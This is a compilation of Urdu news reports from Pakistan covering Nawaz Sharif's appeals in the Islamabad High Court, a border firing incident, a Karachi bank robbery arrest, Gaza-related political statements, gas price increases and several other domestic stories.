احتشام قادر نے کہا کہ نواز شریف کی اپیلیں بحال کرنے پر نیب کو کوئی اعتراض نہیں ہے، عدالت اپیلیں بحال کرتی ہے تو ہمیں اعتراض نہیں ہوگا۔
چیف جسٹس نے ریمارکس دیئے کہ ہم نے آپ کو کہا تھا کہ آپ اس سے متعلق مزید غور بھی کریں جس پر احتشام قادر نے کہا کہ اگر اپیلیں بحال ہوئیں تو ہم دلائل دیں گے۔
جسٹس میاں گل حسن اورنگزیب نے استفسار کیا کہ کیا آپ فیصلے کے حق میں دلائل دیں گے جس پر پراسیکیوٹر نے کہا کہ پہلے مرحلے میں ہمیں اپیلیں بحال کرنے پر اعتراض نہیں ہے۔

ظفروال سیکٹر پر بھارتی فورسز کی بلا اشتعال فائرنگ، پاکستان کا بھرپور جواب

بھارتی فورسز نے پاکستانی حدود ظفروال سیکٹر پر بلا اشتعال فائرنگ کی جس کا پاکستانی فورسز نے بھرپور جواب دیا۔
سیالکوٹ کے ظفروال سیکٹر میں بھارت فورسز نے سیز فائر کی خلاف ورزی اور بلا اشتعال فائرنگ کی تاہم پاکستانی فورسز نے بروقت کارروائی کر کے کواڈ کوپٹر ڈرون کی دراندازی کی بھارتی کوشش ناکام بنا دی۔
سرحد کے دونوں جانب سے چھوٹے بڑے ہتھیاروں سے گولہ باری کا سلسلہ جاری رہا۔ پاکستانی فورسز نے بروقت کارروائی کرتے ہوئے بھارتی جارحیت کا بھرپور جواب دیا۔
بھارتی فورسز نے ورکنگ باؤنڈری پر سیز فائر کی کھلم کھلا خلاف ورزی کرتے ہوئے پہلے ظفر وال سیکٹر میں کواڈ کوپٹر ڈرون سے دراندازی کی کوشش کی جسے پاکستانی فورسز نے بروقت کارروائی کر کے ناکام بنا دیا۔
بھارتی فورسز نے کواڈکوپٹر کی دراندازی کی ناکامی کو کور کرنے کے لیے پاکستانی پوسٹوں پر بِلا اشتعال فائرنگ شروع کر دی تاہم پاکستانی فورسز نے بروقت کارروائی کرتے ہوئے بھارتی جارحیت کا بھرپور جواب دیا۔

پولیس کی پھرتی، نجی بینک سے 87 لاکھ روپے لوٹنے والے ملزمان گرفتار

کراچی میں گزشتہ روز شادمان ٹاؤن میں بینک ڈکیتی میں ملوث 5 ملزمان کوگرفتار کرلیا گیا، ملزمان سے لوٹے گئے 87 لاکھ میں سے 80 لاکھ روپے برآمد کرلیے گئے۔
کراچی کے علاقے شادمان ٹاؤن میں نجی بینک میں ڈکیتی کا معمہ حل ہوگیا، پولیس نے سی سی ٹی وی فوٹیج کی مدد سے واردات میں ملوث 5 ملزمان کو گرفتار کرلیا۔
ملزمان سے 87 لاکھ روپے میں سے 80 لاکھ روپے برآمد کرلیے گئے، ملزمان سے واردات میں استعمال ہونے والا اسلحہ، 2 موٹرسائیکل، بینک کے گارڈز سے چھینا ہوا اسلحہ، کپڑے، ٹوپی، ماسک اور دیگر اشیاء بھی برآمد کرلی گئیں۔
گرفتار ہونے والے ملزمان میں اسحاق، صدیق، عبد الغفار ، منصور اور عمران شامل ہیں۔
ملزمان گارڈز کی غفلت اور چیکنگ نہ کرنے کی وجہ سے اسلحہ لے کر بینک میں داخل ہونے میں کامیاب ہوئے، ملزمان اس سے قبل سنگین مقدمات میں بھی گرفتار ہو چکے ہیں۔
آئی جی سندھ نے اہم کیس کو حل کرنے اور بینک سے لوٹی ہوئی رقم کی برآمدگی پر ایس ایس ڈسٹرکٹ سینٹرل اور پوری ٹیم کو شباشی دی۔
آئی جی سندھ نے پولیس کی کارکردگی کو سراہتے ہوئے 10 لاکھ روپے نقد انعام کا اعلان کیا۔
قبل ازیں 4 ڈاکو شادمان ٹاؤن میں واقع نجی بینک سے 86 لاکھ 89 ہزار روپے لوٹ کر فرار ہوگئے اور نجی کمپنی کے 2 گارڈز کا اسلحہ بھی ساتھ لے گئے۔
کراچی کے علاقے شادمان ٹاؤن میں دن دہاڑے نجی بینک میں ڈکیتی کی واردات ہوئی اور 4 ڈاکو 86 لاکھ روپے سے زائد رقم لے کر باآسانی فرار ہوگئے۔
واقعہ کا مقدمہ بینک آپریشن مینیجر کی مدعیت میں ڈکیتی کی دفعات کے تحت شارع نور جہاں تھانے میں درج کرلیا گیا ہے، اور پولیس نے نجی کمپنی کے دو گارڈز سمیت تین افراد کو حراست میں لے لیا ہے۔
ایف آئی آر کے متن کے مطابق واردات 2 بج کر 50 منٹ پر کی گئی، جب ایک ملزم بینک میں داخل ہوا، اور ڈیپازٹ سلپ اٹھانے کے بعد اسلحہ نکالا، ملزمان کے تین ساتھیوں نے تمام افراد کو اپنی جگہ رکنے کا کہا اور گارڈ کو یرغمال بنا کر اندر لے گئے۔
ایف آئی آر کے مطابق ایک ملزم نے کیش کاونٹر پر آکر 86 لاکھ 89 ہزار روپے لوٹے، اور اس کے ساتھیوں نے نجی کمپنی کے 2 گارڈز سے اسلحہ چھینا اور سب لے کر فرار ہوگئے، ملزمان کی عمریں 20 سے 30 سال تھی۔
بینک میں ڈکیتی کی تصاویر مل گئیں
پولیس کے مطابق ملزمان کی تصاویر حاصل کرلی گئیں ہیں، جس میں ملزمان کو دیکھا جا سکتا ہے۔
ملزمان کیش کاؤنٹر کا صفایا کرتے ہیں اور ایک ملزم جدید اسلحہ کے ساتھ بینک میں دیکھا جا سکتا ہے۔
پولیس نے بتایا کہ تمام ملزمان ماسک اور کیپ لگائے ہوئے ہیں، تصاویر کی مدد سے ملزمان کی تلاش کاعمل جاری ہے۔

امریکی سفارتخانے پر غزہ مارچ کا اعلان

امیر جماعت اسلامی پنجاب ڈاکٹر طارق سلیم نے کہا ہے کہ 29 اکتوبر کو اسرائیلی سرپرست امریکہ کے سفارتخانے پر جماعت اسلامی کی جانب سے غزہ مارچ کیا جائے گا۔
امیر جماعت اسلامی پنجاب ڈاکٹر طارق سلیم نے میڈیا سے گفتگو میں کہا کہ اسرائیل عالمی قوانین کو پاؤں کی ٹھوکر پر رکھتا ہے اور اقوام متحدہ کو برقرار رکھنا ہے تو ویٹو پاور کا ڈرامہ ختم کر کے تمام ممالک کو مساوی حق دیا جائے۔
انہوں نے کہا کہ غزہ میں معصوم بچوں، خواتین، اسپتالوں، مساجد، گرجا گھروں پر باردو کی بارش جاری ہے اور مصر نے امدادی سامان بند کر رکھا ہے۔
ڈاکٹر طارق سلیم نے کہا کہ مسلم حکمران اسرائیل کی بدمعاشی اور ظلم کے خلاف احتجاج بھی نہیں کر رہے جبکہ پوری دنیا کے اسلامی ہی نہیں غیراسلامی ممالک میں بھی عوام سڑکوں پر نکلے ہیں۔ غیرمسلم اور یہودی بھی اسرائیل کی شیطانیت کے خلاف سراپا احتجاج ہیں لیکن مسلم ممالک کے حکمران امریکہ اوراس کے ناجائز بچے اسرائیل سے خوفزدہ ہیں۔
انہوں نے کہا کہ 57 اسلامی ممالک اور 80 لاکھ ریگولر آرمی موجود ہے جبکہ اسرائیل کے چاروں طرف مسلم ممالک ہیں لیکن 70 سال سے اسرائیل نے 22 لاکھ زندہ انسانوں کو غزہ میں محصور کر رکھا ہے جن میں بڑی تعداد معصوم بچوں اور خواتین کی ہے۔

نادرا کو جعلی پاکستانی پاسپورٹس رکھنے والے افغانوں کے شناختی کارڈ منسوخ کرنے کی ہدایت

وزارت داخلہ نے نیشنل ڈیٹا بیس اینڈ رجسٹریشن اتھارٹی ( نادرا) کو جعلی پاکستانی پاسپورٹس رکھنے والے ساڑھے 12 ہزار افغان باشندوں کے شناختی کارڈ منسوخ کرنے کی ہدایت کر دی۔
گزشتہ دنوں سعودی عرب میں 12 ہزار افغانوں سے جعلی پاکستانی پاسپورٹس برآمد ہوئے تھے جس کے بعد تحقیقات کے لیے کمیٹی بنائی گئی۔
وفاقی تحقیقاتی ادارے (ایف آئی اے) ذرائع کے مطابق کوئٹہ اور پشاور سے ساڑھے 5 ہزار شناختی کارڈ افغان باشندوں کو جاری کیے گئے جبکہ 593 افغانوں کو اسلام آباد سے شناختی کارڈ جاری ہوئے۔
تاہم اب وزارت داخلہ نے نادراکو جعلی پاکستانی پاسپورٹس رکھنے والے ساڑھے 12 ہزار افغان باشندوں کے شناختی کارڈ منسوخ کرنے کی ہدایت کر دی۔
ایف آئی اے کے ذرائع کا کہنا ہے کہ سعودی عرب میں پکڑے گئے افغانوں کے پاسپورٹ ، شناختی کارڈز منسوخی کے بعد ضبط ہوں گے۔

الرازق ٹرسٹ کی تقریب حلف برداری کا انعقاد سیالکوٹ چیمبر آف کامرس اینڈ انڈسٹری میں ہوا

سیالکوٹ کی معروف، سماجی اور انسان دوست شخصیت آمنہ احمد جنہوں نے حال ہی میں سیالکوٹ میں “الرازق فاؤنڈیشن” کا آغاز کیا دکھی انسانیت کے درد کو سمجھتے ہوئے نہ کہ انسانیت احساس کرتے ہوئے اس فاؤنڈیشن نے کافی ایسے کام شروع کیے چاہے کسی کا میڈیکل کا مسئلہ ہو، کسی کی تعلیم کا مسئلہ ہویا کسی کو راشن کا مسئلہ ہو فاؤنڈیشن کی تمام پوری ٹیم نے یہ عہد کیا ہم الرازق فاؤنڈیشن کے زیر اہتمام سیالکوٹ میں ایک مثالی کام کریں گے-

سیالکوٹ چیمبر آف کامرس اینڈ انڈسٹری میں سیالکوٹ کے ایک ابھرتے ادراے الرازق ٹرسٹ کی تقریب حلف برداری کا انعقاد کیا گیا۔ تقریب کے مہمانِ خصوصی چیئرمین ایئر سیال، فضل جیلانی نے عہدیداران سے حلف لیا اور الرازق کی ٹیم کے لیے نیک خواہشات اور تعاون کا اظہار کیا۔ تقریب کے گیسٹ آف آنرز میں سیالکوٹ چیمبر کے وائس پریزیڈنٹ، شیخ عامر مجید سمیت ایگزیکٹو ممبرز اور خواتین چیمبر نے شرکت کی- فاؤنڈر الرازق فاؤنڈیشن، آمنہ احمد اور کو فاؤنڈر، خواجہ عبدالمعید نے ادارے کے قیام تک کے سفر پر روشنی ڈالی اور مستقبل میں ہونے والے منصوبوں سے حاضرین کو متعارف کروایا۔ پریذیڈنٹ الرازق فاؤنڈیشن، عثمان گھمن نے اختتامی کلمات ادا کرتے ہوئے اہلِ سیالکوٹ کے لیے اظہارِ تشکر کیا۔ مزید بورڈ آف ڈائریکٹرز میں احمد حسین، سلمان حسن، ابوبکر امجد، نعمان علی، تاثیر عباس جعفری، ڈاکٹر علی حمزہ ہمراہ ایگزیکٹو ممبرز اور رضاکاروں نے بھی شرکت کی۔ شہر کے مختلف شعبہ ہائے زندگی سے لوگ اس پروقار تقریب کا حصہ بنے۔ حاضرین سے خوب داد وصول کرنے اور تعاون کی یقین دہانی کے بعد تقریب کا اختتام اور الرازق فاؤنڈیشن کے بورڈ آف ڈائریکٹرز میں احمد حسین، سلمان حسن، ابوبکرامجد، نعمان علی، تاثیر عباس جعفری، ڈاکٹر علی حمزہ ہمراہ ایگزیکٹو ممبرز اور رضاکاروں نے بھی شرکت کی

اسرائیل کا وجود دنیا کیلئے سکیورٹی رسک ہے: چیئرمین پیپلز پارٹی بلاول بھٹو

پاکستان پیپلز پارٹی کے چیئرمین بلاول بھٹو زرداری نے کہا ہے کہ اسرائیل کا وجود دنیا کیلئے سکیورٹی رسک ہے، اسپتال پر حملہ اور سینکڑوں فلسطینی بچوں کی شہادت انسانیت کے ماتھے پر بدنما داغ ہے۔
اسلام آباد میں فلسطینی سفارت خانے کے دورے کے موقع پرگفتگو کرتے ہوئے بلاول بھٹو نے کہا کہ غزہ پر اجتماعی سزا کے طور پر بلا تفریق اسرائیلی بمباری بین الاقوامی قوانین کی کھلی خلاف ورزی اور جنگی جرم ہے جس کیلئے کوئی جواز پیش نہیں کیا جاسکتا۔
انہوں نے کہا کہ لمحہ بہ لمحہ فلسطین کی صورتحال مزید بگڑتی جا رہی ہے لیکن اقوام متحدہ کی جانب سے فوری جنگ بندی اور انسانی بنیادوں پر بمباری رکوانے کیلئے اتفاق رائے پیدا نہ کرپانا بہت افسوسناک ہے۔
بلاول بھٹو نے کہا کہ غزہ میں معصوم انسانوں کی جانوں کو بچانے کیلئے عالمی برادری آگے آکر آپریشنل انسانی راہداری کے قیام اور غزہ میں محصور فلسطینیوں تک انسانی امداد پہنچانے کیلئے اپنا کردار ادا کرے۔
انہوں نے کہا کہ مشرق وسطیٰ میں قیام امن کیلئے مسئلہ فلسطین کا حل ناگزیر ہے اور اس مسئلے کا حل صرف اور صرف آزاد اور خودمختار فلسطینی ریاست کا قیام ہے۔
چیئرمین پیپلز پارٹی کا کہنا تھا کہ پاکستان کٹھن وقت میں فلسطین کے عوام کے ساتھ کھڑا ہے

ایوان صدر میں نہ ہوتا تو جیل میں ہوتا،صدرمملکت:نوازشریف کے انتقام نہ لینے کے بیان کا خیرمقدم

صدرمملکت عارف علوی نے کہا ہے کہ مجھے یقین نہیں کہ جنوری میں الیکشن ہوں گے۔
نجی ٹی وی کو انٹرویو دیتے ہوئے انہوں نے کہا کہ ملک کی موجودہ صورتحال کو دیکھ کر فوری انتخابات ہونے چاہییں،شفاف انتخابات ملک کیلئے بہتر ثابت ہوں گے۔
معیشت کو عوام کا سہارا مل جائے تو مستقبل کیلئے بہتر ہوگا،انہوں نے نوازشریف کے انتقام نہ لینے کے بیان کا خیرمقدم کیا۔
ن لیگ ایک نئے بیانیہ کے تلاش میں ہے،دوسرے ہی روز ن لیگ نے گیلپ سروے کرایا،سروے میں عوام نے ن لیگ کو بیانیہ تھمایا کہ سب کو ساتھ لے کرچلیں۔
ن لیگ کےپاس اس وقت ایک اچھا موقع ہے،سب لوگ اس وقت لیول پلیئنگ فیلڈ کی بات کررہےہیں۔
بطور صدرمملکت 9مئی کے واقعے کی شدید الفاظ میں مذمت کی،ہمیشہ سب کو کہاکہ توڑپھوڑ نہیں کی جانی چاہیے۔
جسٹس قاضی فائز عیسی ٰکے کام کو سراہتاہوں،چیف جسٹس سے قوم کی امیدیں ہیں وہ امیدوں پر پورا اتریں گے۔
جسٹس قاضی فائز عیسیٰ کیخلاف ریفرنس میں نے نہیں بھیجا،ریفرنس مجھے وزیراعظم ہاوس سے بھیجاگیاتھا،بعد میں سابق وزیراعظم نے کہاکہ ریفرنس نہیں بھیجناچاہیے۔
آصف زرداری نے پاکستان کھپے کا نعرہ لگایا،وہ ایک بہترین کام تھا،آصف زرداری کے پاکستان کھپے کے نعرے کو ہمیشہ سراہتاہوں۔
آئین کہتاہے کہ اگلاصدر منتخب ہونے تک موجودہ صدر اپنی ذمہ داری جاری رکھے،پارلیمانی نظام میں اس بات کا امکان رہتاہے کہ حکومت مدت پوری نہ کرپائے
پاکستان بڑی مشکلات کے ساتھ جمہوری نظام پر قائم ہے،حج پر گیا ہوا تھا قائم مقام صدر صادق سنجرانی نے الیکشن ایکٹ پر دستخط کیے،حج پر نہ گیا ہوتا تو الیکشن ایکٹ پر دستخط نہ کرتا۔
پنجاب اورخیبر پختونخوا میں انتخابات سے متعلق خط کا کوئی نتیجہ نہیں نکلا،مردم شماری کے معاملات پر مسائل آرہے تھے۔
پنجاب اور خیبر پختونخوا میں انتخابات کیلیے الیکشن کمشنرز کو بلایامگر وہ نہیں آئے،وزارت قانون نے مجھے کہاکہ تاریخ دینا آپ کا حق نہیں،میں نے کہاکہ 6نومبر تک الیکشن کرائےجائیں۔
23مارچ کو مینارپاکستان پر فلسطین کیلئے بھی قرارداد منظور ہوئی تھی،فلسطین میں معصوم افراد کو شہید کیاجارہاہے،معصوم بچے شہید ہورہےہیں۔
بچوں پر ظلم کوئی برداشت نہیں کرسکتے،فلسطین میں امن خطے کے مفاد میں ہوگا،فلسطین کی صورتحال پر بات کرتے ہوئے صدر مملکت عارف علوی آبدیدہ ہوگئے۔

گھریلو، کمرشل اورصنعتی صارفین کیلئے گیس مہنگی کرنیکی منظوری

نگران حکومت نے آئی ایم ایف کی ایک اور شرط پوری کرتے ہوئےگھریلو، کمرشل اور صنعتی صارفین کیلئے گیس مہنگی کرنےکی منظوری دے دی۔
تفصیلات کے مطابق نگران وزیر خزانہ شمشاد اختر کی زیرصدارت ای سی سی کا اجلاس ہوا، جس میں گھریلو، کمرشل اور صنعتی صارفین کیلئے گیس مہنگی کرنےکی منظوری دے دی۔
وزارت خزانہ کی جانب سے ای سی سی اجلاس کے اعلامیہ کے مطابق ای سی سی نے وزارت پیٹرولیم کی سمری کی منظوری دے دی ،اورنئے گیس ٹیرف کا اطلاق یکم اکتوبر کے بجائے یکم نومبر سےکیا جائےگا۔
اعلامیہ کے مطابق ای سی سی نے10 لاکھ میٹرک ٹن گندم درآمد کرنےکی منظوری بھی دیدی،24-2023 کے دوران گندم ٹریڈنگ کارپوریشن کے ذریعےدرآمد کی جائے گی۔
وزارت خزانہ کے مطابق گندم کی درآمد کیلئے نجی شعبے کی بھی حوصلہ افزائی کی جائے گی، جبکہ ای سی سی کی جانب سے ملک میں گندم کے دستیاب اسٹاک کا تھرڈ پارٹی آڈٹ کرانے کی ہدایت کی گئی ہے۔
اعلامیہ کے مطابق اقتصادی رابطہ کمیٹی نے فوری طور پر دو لاکھ میٹرک ٹن یوریا کھاد درآمد کرنے کی منظوری دیدی،جس کا مقصد ربی سیزن کی ضروریات پوری کرنا ہے۔
ای سی سی نے کھاد سیکٹر کو گیس کی بلا تعطل سپلائی یقینی بنانے کی بھی ہدایت کرتے ہوئےکہا کہ صوبے یوریا کھاد کی درآمدی لاگت برداشت کریں گے۔
ذرائع کے مطابق بیرون ملک سے 10 لاکھ میٹرک ٹن گندم درآمد کرنے کا مقصد اسٹریٹیجک ذخائر برقرار رکھنا ہے،اس کے علاوہ ایرا کیلئے 48 کروڑ 40 لاکھ روپے کی تکنیکی سپلیمنٹری گرانٹ بھی منظور کر لی گئی ہے ۔
یاد رہے کہ گیس میٹر کے فکس چارجز 10 روپے سے بڑھا کر 400 روپے ماہانہ کرنے کی تجویز دی گئی تھی۔ گھریلو صارفین کے لیے گیس 172 فیصد تک مہنگی کرنے کی منظوری مانگی گئی تھی۔
سیمنٹ سیکٹر کے گیس ٹیرف میں 2 ہزار 900 روپے فی ایم ایم بی ٹی ٹو یو اضافہ تجویز کیا گیا ۔ سمینٹ سیکٹر کے لیے قیمت 1500 روپے سے بڑھا کر 4 ہزار 400 روپے فی ایم ایم بی ٹی یو کرنے کی تجویز دی گئی تھی۔
برآمدی انڈسٹریز کے ٹیرف میں 950 روپے فی ایم ایم بی ٹی یو اضافہ تجویز کیا گیا ۔ ایکسپورٹ انڈسٹریر کا ٹیرف دوہزار پچاس روپے، غیربرآمدی صنعتوں کے ٹیرف میں 1400 روپے اضافہ، سی این جی کے لیے گیس کی قیمت 2 ہزار 595 روپے فی ایم ایم بی ٹی یو بڑھانے کی تجویز دی گئی تھی۔
اسی طرح سی این جی سیکٹر کے لیے گیس کا ٹیرف چوالیس سو روپے کرنے، اور بجلی کارخانوں اور تندوروں کے لیے برقرار رکھنے کی تجویز دی گئی تھی

نواز شریف کی ایون فیلڈ ،العزیزیہ ریفرنسز اور توشہ خانہ کیس میں ضمانتیں منظور

اسلام آباد ہائیکورٹ نے سابق وزیر اعظم نواز شریف کی العزیزیہ، اور ایون فیلڈ ریفرنس میں حفاظتی ضمانت میں 26 اکتوبر تک توسیع کرتے ہوئے فریقین کو نوٹس جاری کر دیا۔ جبکہ توشہ خانہ کیس کی سماعت 20 نومبر تک ملتوی کر دی گئی ہے۔
رپورٹس کے مطابق العزیزیہ اور ایون فیلڈ ریفرنس میں سزاؤں کے خلاف اپیلیں بحال کروانے کیلئے نواز شریف نےاسلام آباد ہائیکورٹ میں سرنڈرکردیا حفاظتی ضمانت میں دوروز کی توسیع مل گئی اپیلی بحال کرنے کی درخواستوں پر نیب کو نوٹس جاری کر دیا گیا ۔
اسلام آباد ہائیکورٹ کے چیف جسٹس عامر فاروق نے ریمارکس دیئے کہ نواز شریف کو عدالت کو مطمئن کرنا ہوگا کہ وہ غیر حاضر کیوں رہے اور اشتہاری کیوں رہے؟ حفاظتی ضمانت میں توسیع پر نیب کے عدم اعتراض پر جسٹس میاں گل حسن اورنگزیب نے نے پراسیکیورٹر جنرل کو آڑھے ہاتھوں بھی لے لیا پوچھا کیا یہ وہی نیب ہے؟ پہلے بلانے پر نہیں آتے تھے اب بن بلائے ہی چلے آئے کل کو یہ کیس غلط قرار دے کر واپس لینا پڑا تو کیسے لیں گے ۔انہوں نے کہا کہ آئندہ سماعت پر نیب واضح پوزیشن لے ۔
نیب پراسیکیوٹر جنرل نیب بھی عدالت میں پیش ہوئے ہیں جہاں انہوں نےمؤقف اختیار کیا کہ نواز شریف کی حفاظتی ضمانت میں توسیع پر کوئی اعتراض نہیں ۔عدالت عالیہ نے ضمانت میں 26 اکتوبر تک توسیع کردی اپیلیں بحال کرنے کی درخواستوں پر نیب کو نوٹس جاری کر دیا گیا۔
دوران سماعت دو رکنی بینچ کے سخت ریمارکس میں پوچھا جیسا ڈیکلریشن دیا ہے کیا اس کے بعد کہہ سکتے ہیں اپیلیں بحال کریں ؟ چیف جسٹس عامر فاروق نے پو چھا آپ نے مطمئن کرنا ہے کہ آپ عدالت سے غیر حاضر کیوں رہے؟ اشتہاری کیوں ہوئے؟اپیلوں کی بحالی روٹین کا معاملہ نہیں، آرٹیکل 10 اے میں حیات بخش کیس کا فیصلہ بھی ہےنواز شریف کی حراست اس عدالت کے انڈر تھی آپ دوسری عدالت گئے ؟
نواز شریف سے متعلق نیب کے نرم رویئے پر جسٹس میاں گل حسن اورنگزیب کا اظہار حیرت میںکہا میں ان کیسز میں پانچ سال بعد واپس آیا ہوں،میں سمجھنے کی کوشش کررہا ہوں کیا یہ وہی نیب ہے؟ جو آج بغیر نوٹس کے پیش ہو گیایہ تو اکثر نوٹس دینے پر بھی نہیں آتے تھےپراسیکیوٹر جنرل نیب سے پوچھا کیا آپ نواز شریف کو گرفتار کرنا چاہتے ہیں؟جواب ملا ابھی عدالت کے سامنے حفاظتی ضمانت کا معاملہ ہے گرفتاری نہیں چاہیئے۔
جسٹس میاں گل حسن نے کہا ہمارا بھی احتساب ہونا ہے چیئرمین کے سامنے معاملہ رکھیں پھر کیوں عدالت کا وقت ضائع کیا، اگر یہ کیسز غلط دائر ہوئے ہیں تو پھر نیب کیس واپس لینا چاہے تو کیسے لے گا ؟ نیب کلیئیر پوزیشن لےاگر آپ کا فیصلہ ہے ریفرنس قائم رہنا ضروری ہے تو چلائیں گے اگر نیب پھر رضامندی ظاہر کر دے تو پھر کیا ہوگا ؟ نیب آئندہ سماعت تک واضح پوزیشن سے متعلق بتائے۔آپ کو پتہ ہے عام عوام کا کتنا وقت اس کیس میں لگا؟ ہمارا وقت اور کیوں ضائع کرتے ہیں بڑا آسان ہے کہ عدالت میں الزام لگایا جائےکیا اب نیب یہ کہے گی کہ کرپٹ پریکٹسز کا الزام برقرار ہے اور ان کو چھوڑ دیں ۔

العزیزیہ، ایون فیلڈ ریفرنس میں سزائیں: نواز شریف آج ’سرنڈر‘ کریں گے

مسلم لیگ ن کے قائد اور سابق وزیر اعظم نواز شریف کی العزیزیہ اور ایون فیلڈ ریفرنس میں سزا کے خلاف اپیلیں بحال کرنےکی درخواستوں پر بینچ تشکیل دے دیا گیا ہے۔
دوسری جانب نواز شریف عدالت کے سامنے سرنڈر کرنے کے لیے منگل کو اسلام آباد ہائی کورٹ میں پیش ہوں گے۔
سابق وزیراعظم نے عدالت سے حفاظتی ضمانت حاصل کی تھی جس کے مطابق منگل کو نواز شریف کو عدالت کے سامنے سرنڈر کرنا ہوگا۔
اس کے بعد عدالت کی صوابدید ہے کہ وہ العزیزیہ ریفرنس میں ان کی سزا معطلی کو جاری رکھتی ہے یا انھیں جیل بھیجتی ہے۔
نواز شریف نے پیر کو ایون فیلڈ اور العزیزیہ ریفرنس میں سزا کے خلاف اپیلیں بحال کرنے کی درخواستیں اسلام آباد ہائی کورٹ میں دائر کی تھیں۔
وکیل امجد پرویز نے نواز شریف کی جانب سے اپیلیں بحال کرنے کی درخواستیں دائرکی تھیں۔
درخواستوں میں استدعا کی گئی کہ اپیلوں کو بحال کرکے میرٹ پر دلائل سننے کے بعد فیصلہ کیا جائے۔ اسلام آباد ہائی کورٹ نے نواز شریف کی العزیزیہ ریفرنس اور ایون فیلڈر یفرنس میں سزا کے خلاف اپیلیں بحال کرنے کی درخواستوں پر بینچ تشکیل دے دیا ہے۔
چیف جسٹس عامرفاروق اور جسٹس میاں گل حسن اور نگزیب پر مشتمل بینچ سماعت کرے گا۔

تعلیم-ایک-آپشن-نہیں-بلکہ-ضرورت-ہے،آرمی

آرمی چیف جنرل عاصم منیر نے کہا ہے کہ تعلیم ایک آپشن نہیں بلکہ ضرورت ہے، طلباء چیلنجزکاحل تلاش کرنےکیلئےاپنی فکری وسائل کو بروئے کار لائیں۔
پاک فوج کے شعبہ تعلقات عامہ (آئی ایس پی آر) سے جاری بیان کے مطابق آرمی چیف جنرل عاصم منیرنےنیشنل یونیورسٹی آف سائنسز اینڈ ٹیکنالوجی (نسٹ) کے “ماسٹرکانووکیشن تقریب” میں بطور مہمان خصوصی شرکت کی ،آرمی چیف جنرل عاصم منیرکاآمدپرنسٹ کےریکٹرنےاستقبال کیا۔
آئی ایس پی آر کے مطابق جنرل عاصم منیرنےنمایاں پوزیشن حاصل کرنے والوں کو تمغوں سے نوازا،کانووکیشن میں بیچلرز،ماسٹرز اورپی ایچ ڈی کےطلبہ نےڈگریاں حاصل کیں،آرمی چیف جنرل عاصم منیرنے گریجویٹس،ان کے والدین اورفیکلٹی کوبارکباد دی۔
آرمی چیف نے گریجوٹیس سے خطاب کرتے ہوئے ہونہار طلباء کی تربیت کیلئے تدریس اور سیکھنے کے عمل کیلئے سازگار ماحول قائم کرنے پر نسٹ کو سراہا۔انہوں نے کہا کہ تعلیم کوئی آپشن نہیں بلکہ ایک ضرورت ہے۔
انہوں نے گریجوٹیس پر زور دیا کہ وہ ملک کو درپیش چیلنجز کا ادراک اور تجزیہ کریں اور ان مسائل کے حل تلاش کرنے کیلئے اپنی سمجھ بوجھ کا استعمال کریں۔
خیال رہے کہ کانووکیشن ویک کے دوران بیچلرز، ماسٹرز اور پی ایچ ڈی کورسز میں ساڑھے تین ہزار سے زائد گریجوٹیس ڈگریاں حاصل کریںگے۔

بحریہ ٹاؤن کراچی کی سیل اور ایڈورٹائیزمینٹ این او سی منسوخ\

سندھ بلڈنگ کنٹرول اتھارٹی(ایس بی سی اے) نے بحریہ ٹاؤن کراچی کی سیل اور ایڈورٹائزمنٹ این اوسی منسوخ کردی ہے۔
رپورٹس کے مطابق ایس بی سی اے حکام کا کہنا ہے کہ این او سی شوکاز کا جواب نا دینےاوراسکروٹنی فیس کی عدم ادائیگی پر منسوخ کی گئی ہےاس حوالے سے بحریہ ٹاوُن انتظامیہ کو خط جاری کردیا ہے ۔
سندھ بلڈنگ کنٹرول اتھارٹی(ایس بی سی اے) نےخط میں لکھا کہ میسرز بحریہ ٹاؤن نے اسکروٹنی کی مد میں واجبات ادا نہیں کئے ہیں میسرز بحریہ ٹاؤن اسکروٹنی کی مد میں واجبات جمع کرانے میں کانام رہا ہےمیسرز بحریہ ٹاؤن کو متعدد شو کاز نوٹیسسز بھی جاری کئے گئے ہیں۔
ایس بی سی اے کا مزید کہنا تھا کہ میسرز بحریہ ٹاؤن نے جاری کئے گئے شو کاز نوٹیسسز کا کوئی جواب نہیں دیاشوکاز کا جواب نا دینے اوراسکروٹنی فیس کی عدم ادائیگی پر این او سی منسوخ کی۔بحریہ ٹاوُن مستقبل میں منصوبوں کی سیل اور ایڈورٹائیزمینٹ کرنے سے قبل قوانین پر عمل کرے۔

زیرالتواتمام پاسپورٹس آئندہ چند روزمیں جاری کئےجانے کاامکان

تکنیکی مسائل کےباعث ملک بھرمیں پاسپورٹ ڈیلیوری میں تاخیر کے معاملے میں بڑی پیشرفت سامنے آئی ہے ، اور اب زیرالتواتمام پاسپورٹس آئندہ چندروزمیں جاری کئےجانےکاامکان ہے۔
باخبر ذرائع کے مطابق فاسٹ ٹریک درخواستوں کےحامل پاسپورٹس کابیک لاگ ختم ہوگیا،اور آج سےپاسپورٹ مقررہ مدت میں ہی فراہم کئےجائیں گے،ارجنٹ پاسپورٹ کابیک لاگ بھی2سے3روزمیں ختم ہونےکاامکان ہے۔
ذرائع نے بتایا کہ امیگریشن اینڈپاسپورٹ ڈائریکٹوریٹ کی جانب سے نارمل پاسپورٹس کی بروقت فراہمی کیلئےپرنٹنگ کیلئےاضافی اقدامات کیے گئے ہیں ۔
ذرائع کا یہ بھی کہنا تھا کہ پارسپورٹس کی بروقت فراہمی کیلئے کیے گئے اقدامات کے تحت بروقت پرنٹنگ کیلئےاضافی افرادی قوت سمیت پرنٹنگ مشینیں24گھنٹےفعال ہیں۔
واضح رہے کہ محکمہ پاسپورٹ کے پاس نئے پاسپورٹس کیلئے لیمینیشن پیپر مبینہ طور پرختم ہوگئے تھے۔ جس کی وجہ سے درخواست گزاروں کو پاسپورٹ کے حصول کیلئے طویل انتظار کا خدشہ ظاہر کیا گیا تھا۔ بیرون ملک عمرہ، علاج اور تعلیم کے لیے جانے کے خواہشمند شہری مشکل میں پھنس گئے تھے۔

کراچی میں کچھ ماہ میں ڈکیتی مزاحمت پر110 شہری جاں بحق

کراچی میں رواں سال کے پہلے دس ماہ میں ڈکیتی مزاحمت پر ایک سو دس افراد جاں بحق ہوئے ۔تریسٹھ ہزار سے زائد شہریوں کو موبائل فونز نقدی اور دیگر قیمتی سامان سے محروم کردیا گیا۔
رپورٹس کے مطابق ایڈیشنل آئی جی کہتے ہیں شہر میں سب اچھا ہے حالات پہلے سے بہتر ہیں خادم حسین رند کے بیان کو شہریوں نے مسترد کردیا ۔کراچی میں لٹیرے شہریوں کو لوٹ رہے ہیں ۔مزاحمت پر جانیں بھی لے رہے ہیں ۔
